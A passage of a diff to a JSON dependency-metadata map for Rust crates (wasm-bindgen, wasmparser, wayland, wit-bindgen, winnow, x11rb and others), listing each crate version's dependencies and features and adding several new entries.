\\\"atomics\\\")\"}],\"features\":{\"default\":[\"std\"],\"futures-core-03-stream\":[\"futures-core\"],\"std\":[\"wasm-bindgen/std\",\"js-sys/std\",\"web-sys/std\",\"futures-util\"]}}", "wasm-bindgen-macro-support_0.2.108": "{\"dependencies\":[{\"name\":\"bumpalo\",\"req\":\"^3.0.0\"},{\"name\":\"proc-macro2\",\"req\":\"^1.0\"},{\"name\":\"quote\",\"req\":\"^1.0\"},{\"features\":[\"visit\",\"visit-mut\",\"full\"],\"name\":\"syn\",\"req\":\"^2.0\"},{\"name\":\"wasm-bindgen-shared\",\"req\":\"=0.2.108\"}],\"features\":{\"extra-traits\":[\"syn/extra-traits\"],\"strict-macro\":[]}}", "wasm-bindgen-macro_0.2.108": "{\"dependencies\":[{\"name\":\"quote\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0\"},{\"name\":\"wasm-bindgen-macro-support\",\"req\":\"=0.2.108\"}],\"features\":{\"strict-macro\":[\"wasm-bindgen-macro-support/strict-macro\"]}}", "wasm-bindgen-shared_0.2.108": "{\"dependencies\":[{\"name\":\"unicode-ident\",\"req\":\"^1.0.5\"}],\"features\":{}}", "wasm-bindgen_0.2.108": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1.0.0\"},{\"default_features\":false,\"name\":\"once_cell\",\"req\":\"^1.12\"},{\"kind\":\"dev\",\"name\":\"once_cell\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"paste\",\"req\":\"^1\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"kind\":\"build\",\"name\":\"rustversion-compat\",\"package\":\"rustversion\",\"req\":\"^1.0.6\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1.0\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"name\":\"serde_json\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"wasm-bindgen-macro\",\"req\":\"=0.2.108\"},{\"name\":\"wasm-bindgen-shared\",\"req\":\"=0.2.108\"}],\"features\":{\"default\":[\"std\"],\"enable-interning\":[\"std\"],\"gg-alloc\":[],\"msrv\":[],\"rustversion\":[],\"serde-serialize\":[\"serde\",\"serde_json\",\"std\"],\"spans\":[],\"std\":[],\"strict-macro\":[\"wasm-bindgen-macro/strict-macro\"],\"xxx_debug_only_print_generated_code\":[]}}", + "wasm-encoder_0.244.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.58\"},{\"default_features\":false,\"name\":\"leb128fmt\",\"req\":\"^0.1.0\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.2.0\"},{\"default_features\":false,\"features\":[\"simd\",\"simd\"],\"name\":\"wasmparser\",\"optional\":true,\"req\":\"^0.244.0\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"wasmprinter\",\"req\":\"^0.244.0\"}],\"features\":{\"component-model\":[\"wasmparser?/component-model\"],\"default\":[\"std\",\"component-model\"],\"std\":[\"wasmparser?/std\"]}}", + "wasm-metadata_0.244.0": "{\"dependencies\":[{\"name\":\"anyhow\",\"req\":\"^1.0.58\"},{\"name\":\"auditable-serde\",\"optional\":true,\"req\":\"^0.8.0\"},{\"features\":[\"derive\"],\"name\":\"clap\",\"optional\":true,\"req\":\"^4.0.0\"},{\"name\":\"flate2\",\"optional\":true,\"req\":\"^1.1.0\"},{\"default_features\":false,\"features\":[\"serde\"],\"name\":\"indexmap\",\"req\":\"^2.7.0\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.166\"},{\"name\":\"serde_derive\",\"optional\":true,\"req\":\"^1.0.166\"},{\"name\":\"serde_json\",\"optional\":true,\"req\":\"^1\"},{\"name\":\"spdx\",\"optional\":true,\"req\":\"^0.10.1\"},{\"name\":\"url\",\"optional\":true,\"req\":\"^2.0.0\"},{\"default_features\":false,\"features\":[\"std\",\"component-model\"],\"name\":\"wasm-encoder\",\"req\":\"^0.244.0\"},{\"default_features\":false,\"features\":[\"simd\",\"std\",\"component-model\",\"hash-collections\"],\"name\":\"wasmparser\",\"req\":\"^0.244.0\"}],\"features\":{\"default\":[\"oci\",\"serde\"],\"oci\":[\"dep:auditable-serde\",\"dep:flate2\",\"dep:url\",\"dep:spdx\",\"dep:serde_json\",\"serde\"],\"serde\":[\"dep:serde_derive\",\"dep:serde\"]}}", "wasm-streams_0.4.2": "{\"dependencies\":[{\"features\":[\"io\",\"sink\"],\"name\":\"futures-util\",\"req\":\"^0.3.31\"},{\"features\":[\"futures\"],\"kind\":\"dev\",\"name\":\"gloo-timers\",\"req\":\"^0.3.0\"},{\"name\":\"js-sys\",\"req\":\"^0.3.72\"},{\"kind\":\"dev\",\"name\":\"pin-project\",\"req\":\"^1\"},{\"features\":[\"macros\",\"rt\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1\"},{\"name\":\"wasm-bindgen\",\"req\":\"^0.2.95\"},{\"name\":\"wasm-bindgen-futures\",\"req\":\"^0.4.45\"},{\"kind\":\"dev\",\"name\":\"wasm-bindgen-test\",\"req\":\"^0.3.45\"},{\"features\":[\"AbortSignal\",\"QueuingStrategy\",\"ReadableStream\",\"ReadableStreamType\",\"ReadableWritablePair\",\"ReadableStreamByobReader\",\"ReadableStreamReaderMode\",\"ReadableStreamReadResult\",\"ReadableStreamByobRequest\",\"ReadableStreamDefaultReader\",\"ReadableByteStreamController\",\"ReadableStreamGetReaderOptions\",\"ReadableStreamDefaultController\",\"StreamPipeOptions\",\"TransformStream\",\"TransformStreamDefaultController\",\"Transformer\",\"UnderlyingSink\",\"UnderlyingSource\",\"WritableStream\",\"WritableStreamDefaultController\",\"WritableStreamDefaultWriter\"],\"name\":\"web-sys\",\"req\":\"^0.3.72\"},{\"features\":[\"console\",\"AbortSignal\",\"ErrorEvent\",\"PromiseRejectionEvent\",\"Response\",\"ReadableStream\",\"Window\"],\"kind\":\"dev\",\"name\":\"web-sys\",\"req\":\"^0.3.72\"}],\"features\":{}}", + "wasmparser_0.244.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.58\"},{\"name\":\"bitflags\",\"req\":\"^2.4.1\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5.1\"},{\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.11\"},{\"default_features\":false,\"features\":[\"default-hasher\"],\"name\":\"hashbrown\",\"optional\":true,\"req\":\"^0.15.2\"},{\"default_features\":false,\"name\":\"indexmap\",\"optional\":true,\"req\":\"^2.7.0\"},{\"kind\":\"dev\",\"name\":\"log\",\"req\":\"^0.4.17\"},{\"kind\":\"dev\",\"name\":\"once_cell\",\"req\":\"^1.13.0\"},{\"kind\":\"dev\",\"name\":\"rayon\",\"req\":\"^1.3\"},{\"default_features\":false,\"name\":\"semver\",\"optional\":true,\"req\":\"^1.0.0\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.166\"}],\"features\":{\"component-model\":[\"dep:semver\"],\"default\":[\"std\",\"validate\",\"serde\",\"features\",\"component-model\",\"hash-collections\",\"simd\"],\"features\":[],\"hash-collections\":[\"dep:hashbrown\",\"dep:indexmap\"],\"prefer-btree-collections\":[],\"serde\":[\"dep:serde\",\"indexmap?/serde\",\"hashbrown?/serde\"],\"simd\":[],\"std\":[\"indexmap?/std\"],\"validate\":[]}}", "wayland-backend_0.3.12": "{\"dependencies\":[{\"kind\":\"build\",\"name\":\"cc\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"concat-idents\",\"req\":\"^1.1\"},{\"name\":\"downcast-rs\",\"req\":\"^1.2\"},{\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.10\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4\"},{\"name\":\"raw-window-handle\",\"optional\":true,\"req\":\"^0.5.0\"},{\"features\":[\"event\",\"fs\",\"net\",\"process\"],\"name\":\"rustix\",\"req\":\"^1.0.2\"},{\"name\":\"rwh_06\",\"optional\":true,\"package\":\"raw-window-handle\",\"req\":\"^0.6.0\"},{\"name\":\"scoped-tls\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"scoped-tls\",\"req\":\"^1.0\"},{\"features\":[\"union\",\"const_generics\",\"const_new\"],\"name\":\"smallvec\",\"req\":\"^1.9\"},{\"name\":\"wayland-sys\",\"req\":\"^0.31.8\"}],\"features\":{\"client_system\":[\"wayland-sys/client\",\"dep:scoped-tls\"],\"dlopen\":[\"wayland-sys/dlopen\"],\"server_system\":[\"wayland-sys/server\",\"dep:scoped-tls\"]}}", "wayland-client_0.31.12": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2\"},{\"kind\":\"dev\",\"name\":\"futures-channel\",\"req\":\"^0.3.16\"},{\"kind\":\"dev\",\"name\":\"futures-util\",\"req\":\"^0.3\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4\"},{\"features\":[\"event\"],\"name\":\"rustix\",\"req\":\"^1.0.2\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.2\"},{\"name\":\"wayland-backend\",\"req\":\"^0.3.12\"},{\"name\":\"wayland-scanner\",\"req\":\"^0.31.8\"}],\"features\":{}}", "wayland-protocols-wlr_0.3.10": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2\"},{\"name\":\"wayland-backend\",\"req\":\"^0.3.12\"},{\"name\":\"wayland-client\",\"optional\":true,\"req\":\"^0.31.12\"},{\"name\":\"wayland-protocols\",\"req\":\"^0.32.10\"},{\"name\":\"wayland-scanner\",\"req\":\"^0.31.8\"},{\"name\":\"wayland-server\",\"optional\":true,\"req\":\"^0.31.11\"}],\"features\":{\"client\":[\"wayland-client\",\"wayland-protocols/client\"],\"server\":[\"wayland-server\",\"wayland-protocols/server\"]}}", @@ -1527,19 +1583,26 @@ "windows_x86_64_msvc_0.52.6": "{\"dependencies\":[],\"features\":{}}", "windows_x86_64_msvc_0.53.1": "{\"dependencies\":[],\"features\":{}}", "winnow_0.7.14": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"annotate-snippets\",\"req\":\"^0.11.4\"},{\"name\":\"anstream\",\"optional\":true,\"req\":\"^0.6.15\"},{\"name\":\"anstyle\",\"optional\":true,\"req\":\"^1.0.8\"},{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.100\"},{\"kind\":\"dev\",\"name\":\"automod\",\"req\":\"^1.0.15\"},{\"kind\":\"dev\",\"name\":\"circular\",\"req\":\"^0.3.0\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5.1\"},{\"name\":\"is_terminal_polyfill\",\"optional\":true,\"req\":\"^1.48.1\"},{\"kind\":\"dev\",\"name\":\"lexopt\",\"req\":\"^0.3.1\"},{\"default_features\":false,\"name\":\"memchr\",\"optional\":true,\"req\":\"^2.7\"},{\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1.6.0\"},{\"kind\":\"dev\",\"name\":\"rustc-hash\",\"req\":\"^2.1.1\"},{\"features\":[\"examples\"],\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.21\"},{\"kind\":\"dev\",\"name\":\"term-transcript\",\"req\":\"^0.2.0\"},{\"name\":\"terminal_size\",\"optional\":true,\"req\":\"^0.4.3\"}],\"features\":{\"alloc\":[],\"debug\":[\"std\",\"dep:anstream\",\"dep:anstyle\",\"dep:is_terminal_polyfill\",\"dep:terminal_size\"],\"default\":[\"std\"],\"simd\":[\"dep:memchr\"],\"std\":[\"alloc\",\"memchr?/std\"],\"unstable-doc\":[\"alloc\",\"std\",\"simd\",\"unstable-recover\"],\"unstable-recover\":[]}}", + "winnow_0.7.15": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"annotate-snippets\",\"req\":\"^0.11.4\"},{\"name\":\"anstream\",\"optional\":true,\"req\":\"^0.6.15\"},{\"name\":\"anstyle\",\"optional\":true,\"req\":\"^1.0.8\"},{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.100\"},{\"kind\":\"dev\",\"name\":\"automod\",\"req\":\"^1.0.15\"},{\"kind\":\"dev\",\"name\":\"circular\",\"req\":\"^0.3.0\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5.1\"},{\"name\":\"is_terminal_polyfill\",\"optional\":true,\"req\":\"^1.48.1\"},{\"kind\":\"dev\",\"name\":\"lexopt\",\"req\":\"^0.3.1\"},{\"default_features\":false,\"name\":\"memchr\",\"optional\":true,\"req\":\"^2.7\"},{\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1.6.0\"},{\"kind\":\"dev\",\"name\":\"rustc-hash\",\"req\":\"^2.1.1\"},{\"features\":[\"examples\"],\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.21\"},{\"kind\":\"dev\",\"name\":\"term-transcript\",\"req\":\"^0.2.0\"},{\"name\":\"terminal_size\",\"optional\":true,\"req\":\"^0.4.3\"}],\"features\":{\"alloc\":[],\"debug\":[\"std\",\"dep:anstream\",\"dep:anstyle\",\"dep:is_terminal_polyfill\",\"dep:terminal_size\"],\"default\":[\"std\"],\"simd\":[\"dep:memchr\"],\"std\":[\"alloc\",\"memchr?/std\"],\"unstable-doc\":[\"alloc\",\"std\",\"simd\",\"unstable-recover\"],\"unstable-recover\":[]}}", "winreg_0.10.1": "{\"dependencies\":[{\"name\":\"chrono\",\"optional\":true,\"req\":\"^0.4.6\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.3\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"~3.0\"},{\"features\":[\"impl-default\",\"impl-debug\",\"minwindef\",\"minwinbase\",\"timezoneapi\",\"winerror\",\"winnt\",\"winreg\",\"handleapi\"],\"name\":\"winapi\",\"req\":\"^0.3.9\"}],\"features\":{\"serialization-serde\":[\"transactions\",\"serde\"],\"transactions\":[\"winapi/ktmw32\"]}}", "winreg_0.50.0": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1.0\"},{\"name\":\"chrono\",\"optional\":true,\"req\":\"^0.4.6\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.3\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"serde_bytes\",\"req\":\"^0.11\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"~3.0\"},{\"features\":[\"Win32_Foundation\",\"Win32_System_Time\",\"Win32_System_Registry\",\"Win32_Security\",\"Win32_Storage_FileSystem\",\"Win32_System_Diagnostics_Debug\"],\"name\":\"windows-sys\",\"req\":\"^0.48.0\"}],\"features\":{\"serialization-serde\":[\"transactions\",\"serde\"],\"transactions\":[]}}", "winres_0.1.12": "{\"dependencies\":[{\"name\":\"toml\",\"req\":\"^0.5\"},{\"features\":[\"winnt\"],\"kind\":\"dev\",\"name\":\"winapi\",\"req\":\"^0.3\"}],\"features\":{}}", "winsafe_0.0.19": "{\"dependencies\":[],\"features\":{\"comctl\":[\"ole\"],\"dshow\":[\"oleaut\"],\"dwm\":[\"uxtheme\"],\"dxgi\":[\"ole\"],\"gdi\":[\"user\"],\"gui\":[\"comctl\",\"shell\",\"uxtheme\"],\"kernel\":[],\"mf\":[\"oleaut\"],\"ole\":[\"user\"],\"oleaut\":[\"ole\"],\"shell\":[\"oleaut\"],\"taskschd\":[\"oleaut\"],\"user\":[\"kernel\"],\"uxtheme\":[\"gdi\",\"ole\"],\"version\":[\"kernel\"]}}", "winsplit_0.1.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3.3\"}],\"features\":{\"default\":[\"std\"],\"std\":[]}}", "wiremock_0.6.5": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"actix-rt\",\"req\":\"^2.10.0\"},{\"name\":\"assert-json-diff\",\"req\":\"^2.0.2\"},{\"features\":[\"attributes\",\"tokio1\"],\"kind\":\"dev\",\"name\":\"async-std\",\"req\":\"^1.13.2\"},{\"name\":\"base64\",\"req\":\"^0.22\"},{\"name\":\"deadpool\",\"req\":\"^0.12.2\"},{\"name\":\"futures\",\"req\":\"^0.3.31\"},{\"name\":\"http\",\"req\":\"^1.3\"},{\"name\":\"http-body-util\",\"req\":\"^0.1\"},{\"features\":[\"full\"],\"name\":\"hyper\",\"req\":\"^1.7\"},{\"features\":[\"tokio\",\"server\",\"http1\",\"http2\"],\"name\":\"hyper-util\",\"req\":\"^0.1\"},{\"name\":\"log\",\"req\":\"^0.4\"},{\"name\":\"once_cell\",\"req\":\"^1\"},{\"name\":\"regex\",\"req\":\"^1\"},{\"features\":[\"json\"],\"kind\":\"dev\",\"name\":\"reqwest\",\"req\":\"^0.12.23\"},{\"name\":\"serde\",\"req\":\"^1\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1\"},{\"name\":\"serde_json\",\"req\":\"^1\"},{\"features\":[\"rt\",\"macros\",\"net\"],\"name\":\"tokio\",\"req\":\"^1.47.1\"},{\"features\":[\"macros\",\"rt-multi-thread\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.47.1\"},{\"name\":\"url\",\"req\":\"^2.5\"}],\"features\":{}}", + "wit-bindgen-core_0.51.0": "{\"dependencies\":[{\"name\":\"anyhow\",\"req\":\"^1.0.72\"},{\"features\":[\"derive\"],\"name\":\"clap\",\"optional\":true,\"req\":\"^4.3.19\"},{\"name\":\"heck\",\"req\":\"^0.5\"},{\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.218\"},{\"name\":\"wit-parser\",\"req\":\"^0.244.0\"}],\"features\":{\"clap\":[\"dep:clap\"],\"serde\":[\"dep:serde\"]}}", + "wit-bindgen-rust-macro_0.51.0": "{\"dependencies\":[{\"name\":\"anyhow\",\"req\":\"^1.0.72\"},{\"name\":\"prettyplease\",\"req\":\"^0.2.20\"},{\"name\":\"proc-macro2\",\"req\":\"^1.0\"},{\"name\":\"quote\",\"req\":\"^1\"},{\"features\":[\"printing\"],\"name\":\"syn\",\"req\":\"^2.0.89\"},{\"name\":\"wit-bindgen-core\",\"req\":\"^0.51.0\"},{\"name\":\"wit-bindgen-rust\",\"req\":\"^0.51.0\"}],\"features\":{\"async\":[]}}", + "wit-bindgen-rust_0.51.0": "{\"dependencies\":[{\"name\":\"anyhow\",\"req\":\"^1.0.72\"},{\"kind\":\"dev\",\"name\":\"bytes\",\"req\":\"^1\"},{\"features\":[\"derive\"],\"name\":\"clap\",\"optional\":true,\"req\":\"^4.3.19\"},{\"kind\":\"dev\",\"name\":\"futures\",\"req\":\"^0.3.31\"},{\"name\":\"heck\",\"req\":\"^0.5\"},{\"name\":\"indexmap\",\"req\":\"^2.0.0\"},{\"name\":\"prettyplease\",\"req\":\"^0.2.20\"},{\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.218\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1\"},{\"features\":[\"printing\"],\"name\":\"syn\",\"req\":\"^2.0.89\"},{\"default_features\":false,\"name\":\"wasm-metadata\",\"req\":\"^0.244.0\"},{\"name\":\"wit-bindgen-core\",\"req\":\"^0.51.0\"},{\"name\":\"wit-component\",\"req\":\"^0.244.0\"}],\"features\":{\"clap\":[\"dep:clap\",\"wit-bindgen-core/clap\"],\"serde\":[\"dep:serde\",\"wit-bindgen-core/serde\"]}}", "wit-bindgen_0.51.0": "{\"dependencies\":[{\"name\":\"alloc\",\"optional\":true,\"package\":\"rustc-std-workspace-alloc\",\"req\":\"^1.0\"},{\"name\":\"bitflags\",\"optional\":true,\"req\":\"^2.3.3\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0\"},{\"name\":\"futures\",\"optional\":true,\"req\":\"^0.3.30\"},{\"name\":\"wit-bindgen-rust-macro\",\"optional\":true,\"req\":\"^0.51.0\"}],\"features\":{\"async\":[\"std\",\"wit-bindgen-rust-macro?/async\"],\"async-spawn\":[\"async\",\"dep:futures\"],\"bitflags\":[\"dep:bitflags\"],\"default\":[\"macros\",\"realloc\",\"async\",\"std\",\"bitflags\"],\"inter-task-wakeup\":[\"async\"],\"macros\":[\"dep:wit-bindgen-rust-macro\"],\"realloc\":[],\"rustc-dep-of-std\":[\"dep:core\",\"dep:alloc\"],\"std\":[]}}", + "wit-component_0.244.0": "{\"dependencies\":[{\"name\":\"anyhow\",\"req\":\"^1.0.58\"},{\"name\":\"bitflags\",\"req\":\"^2.3.3\"},{\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.11\"},{\"kind\":\"dev\",\"name\":\"glob\",\"req\":\"^0.3.0\"},{\"default_features\":false,\"name\":\"indexmap\",\"req\":\"^2.7.0\"},{\"kind\":\"dev\",\"name\":\"libtest-mimic\",\"req\":\"^0.8.1\"},{\"name\":\"log\",\"req\":\"^0.4.17\"},{\"kind\":\"dev\",\"name\":\"pretty_assertions\",\"req\":\"^1.3.0\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"serde\",\"req\":\"^1.0.166\"},{\"name\":\"serde_derive\",\"req\":\"^1.0.166\"},{\"name\":\"serde_json\",\"req\":\"^1\"},{\"default_features\":false,\"features\":[\"std\",\"wasmparser\"],\"name\":\"wasm-encoder\",\"req\":\"^0.244.0\"},{\"default_features\":false,\"name\":\"wasm-metadata\",\"req\":\"^0.244.0\"},{\"default_features\":false,\"features\":[\"oci\"],\"kind\":\"dev\",\"name\":\"wasm-metadata\",\"req\":\"^0.244.0\"},{\"default_features\":false,\"features\":[\"simd\",\"std\",\"component-model\",\"simd\"],\"name\":\"wasmparser\",\"req\":\"^0.244.0\"},{\"default_features\":false,\"features\":[\"simd\",\"std\",\"component-model\",\"features\"],\"kind\":\"dev\",\"name\":\"wasmparser\",\"req\":\"^0.244.0\"},{\"default_features\":false,\"features\":[\"component-model\"],\"kind\":\"dev\",\"name\":\"wasmprinter\",\"req\":\"^0.244.0\"},{\"default_features\":false,\"features\":[\"cranelift\",\"component-model\",\"runtime\",\"gc-drc\"],\"kind\":\"dev\",\"name\":\"wasmtime\",\"req\":\"^34.0.1\",\"target\":\"cfg(not(target_family = \\\"wasm\\\"))\"},{\"default_features\":false,\"name\":\"wast\",\"optional\":true,\"req\":\"^244.0.0\"},{\"default_features\":false,\"name\":\"wat\",\"optional\":true,\"req\":\"^1.244.0\"},{\"default_features\":false,\"features\":[\"component-model\"],\"kind\":\"dev\",\"name\":\"wat\",\"req\":\"^1.244.0\"},{\"features\":[\"decoding\",\"serde\"],\"name\":\"wit-parser\",\"req\":\"^0.244.0\"}],\"features\":{\"dummy-module\":[\"dep:wat\"],\"semver-check\":[\"dummy-module\"],\"wat\":[\"dep:wast\",\"dep:wat\"]}}", + "wit-parser_0.244.0": "{\"dependencies\":[{\"name\":\"anyhow\",\"req\":\"^1.0.58\"},{\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.11\"},{\"name\":\"id-arena\",\"req\":\"^2\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"indexmap\",\"req\":\"^2.7.0\"},{\"kind\":\"dev\",\"name\":\"libtest-mimic\",\"req\":\"^0.8.1\"},{\"name\":\"log\",\"req\":\"^0.4.17\"},{\"kind\":\"dev\",\"name\":\"pretty_assertions\",\"req\":\"^1.3.0\"},{\"default_features\":false,\"name\":\"semver\",\"req\":\"^1.0.0\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.166\"},{\"name\":\"serde_derive\",\"optional\":true,\"req\":\"^1.0.166\"},{\"name\":\"serde_json\",\"optional\":true,\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1\"},{\"name\":\"unicode-xid\",\"req\":\"^0.2.2\"},{\"default_features\":false,\"features\":[\"simd\",\"std\",\"validate\",\"component-model\",\"features\"],\"name\":\"wasmparser\",\"optional\":true,\"req\":\"^0.244.0\"},{\"default_features\":false,\"features\":[\"component-model\"],\"name\":\"wat\",\"optional\":true,\"req\":\"^1.244.0\"}],\"features\":{\"decoding\":[\"dep:wasmparser\"],\"default\":[\"serde\",\"decoding\"],\"serde\":[\"dep:serde\",\"dep:serde_derive\",\"indexmap/serde\",\"serde_json\"],\"wat\":[\"decoding\",\"dep:wat\"]}}", "wl-clipboard-rs_0.9.3": "{\"dependencies\":[{\"name\":\"libc\",\"req\":\"^0.2.168\"},{\"name\":\"log\",\"req\":\"^0.4.11\"},{\"features\":[\"io_safety\"],\"name\":\"os_pipe\",\"req\":\"^1.1\"},{\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"proptest-derive\",\"req\":\"^0.7\"},{\"features\":[\"fs\",\"event\"],\"name\":\"rustix\",\"req\":\"^1.0.2\"},{\"name\":\"thiserror\",\"req\":\"^2\"},{\"name\":\"tree_magic_mini\",\"req\":\"^3\"},{\"name\":\"wayland-backend\",\"req\":\"^0.3.11\"},{\"name\":\"wayland-client\",\"req\":\"^0.31.11\"},{\"features\":[\"client\",\"staging\"],\"name\":\"wayland-protocols\",\"req\":\"^0.32.9\"},{\"features\":[\"server\",\"staging\"],\"kind\":\"dev\",\"name\":\"wayland-protocols\",\"req\":\"^0.32.9\"},{\"features\":[\"client\"],\"name\":\"wayland-protocols-wlr\",\"req\":\"^0.3.9\"},{\"features\":[\"server\"],\"kind\":\"dev\",\"name\":\"wayland-protocols-wlr\",\"req\":\"^0.3.9\"},{\"kind\":\"dev\",\"name\":\"wayland-server\",\"req\":\"^0.31.10\"}],\"features\":{\"dlopen\":[\"native_lib\",\"wayland-backend/dlopen\",\"wayland-backend/dlopen\"],\"native_lib\":[\"wayland-backend/client_system\",\"wayland-backend/server_system\"]}}", "writeable_0.6.2": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"name\":\"either\",\"optional\":true,\"req\":\"^1.9.0\"},{\"features\":[\"small_rng\"],\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9\"}],\"features\":{\"alloc\":[],\"default\":[\"alloc\"],\"either\":[\"dep:either\"]}}", "x11rb-protocol_0.13.2": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5\"},{\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1\"}],\"features\":{\"all-extensions\":[\"composite\",\"damage\",\"dbe\",\"dpms\",\"dri2\",\"dri3\",\"glx\",\"present\",\"randr\",\"record\",\"render\",\"res\",\"screensaver\",\"shape\",\"shm\",\"sync\",\"xevie\",\"xf86dri\",\"xf86vidmode\",\"xfixes\",\"xinerama\",\"xinput\",\"xkb\",\"xprint\",\"xselinux\",\"xtest\",\"xv\",\"xvmc\"],\"composite\":[\"xfixes\"],\"damage\":[\"xfixes\"],\"dbe\":[],\"default\":[\"std\"],\"dpms\":[],\"dri2\":[],\"dri3\":[],\"extra-traits\":[],\"glx\":[],\"present\":[\"randr\",\"xfixes\",\"sync\",\"dri3\"],\"randr\":[\"render\"],\"record\":[],\"render\":[],\"request-parsing\":[],\"res\":[],\"resource_manager\":[\"std\"],\"screensaver\":[],\"shape\":[],\"shm\":[],\"std\":[],\"sync\":[],\"xevie\":[],\"xf86dri\":[],\"xf86vidmode\":[],\"xfixes\":[\"render\",\"shape\"],\"xinerama\":[],\"xinput\":[\"xfixes\"],\"xkb\":[],\"xprint\":[],\"xselinux\":[],\"xtest\":[],\"xv\":[\"shm\"],\"xvmc\":[\"xv\"]}}", "x11rb_0.13.2": "{\"dependencies\":[{\"name\":\"as-raw-xcb-connection\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"gethostname\",\"req\":\"^1.0\"},{\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"libloading\",\"optional\":true,\"req\":\"^0.8.0\"},{\"name\":\"once_cell\",\"optional\":true,\"req\":\"^1.19\"},{\"kind\":\"dev\",\"name\":\"polling\",\"req\":\"^3.4\"},{\"name\":\"raw-window-handle\",\"optional\":true,\"req\":\"^0.5.0\"},{\"default_features\":false,\"features\":[\"std\",\"event\",\"fs\",\"net\",\"system\"],\"name\":\"rustix\",\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"tracing\",\"optional\":true,\"req\":\"^0.1\"},{\"kind\":\"dev\",\"name\":\"tracing-subscriber\",\"req\":\"^0.3\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"x11rb-protocol\",\"req\":\"^0.13.2\"},{\"name\":\"xcursor\",\"optional\":true,\"req\":\"^0.3.7\"}],\"features\":{\"all-extensions\":[\"x11rb-protocol/all-extensions\",\"composite\",\"damage\",\"dbe\",\"dpms\",\"dri2\",\"dri3\",\"glx\",\"present\",\"randr\",\"record\",\"render\",\"res\",\"screensaver\",\"shape\",\"shm\",\"sync\",\"xevie\",\"xf86dri\",\"xf86vidmode\",\"xfixes\",\"xinerama\",\"xinput\",\"xkb\",\"x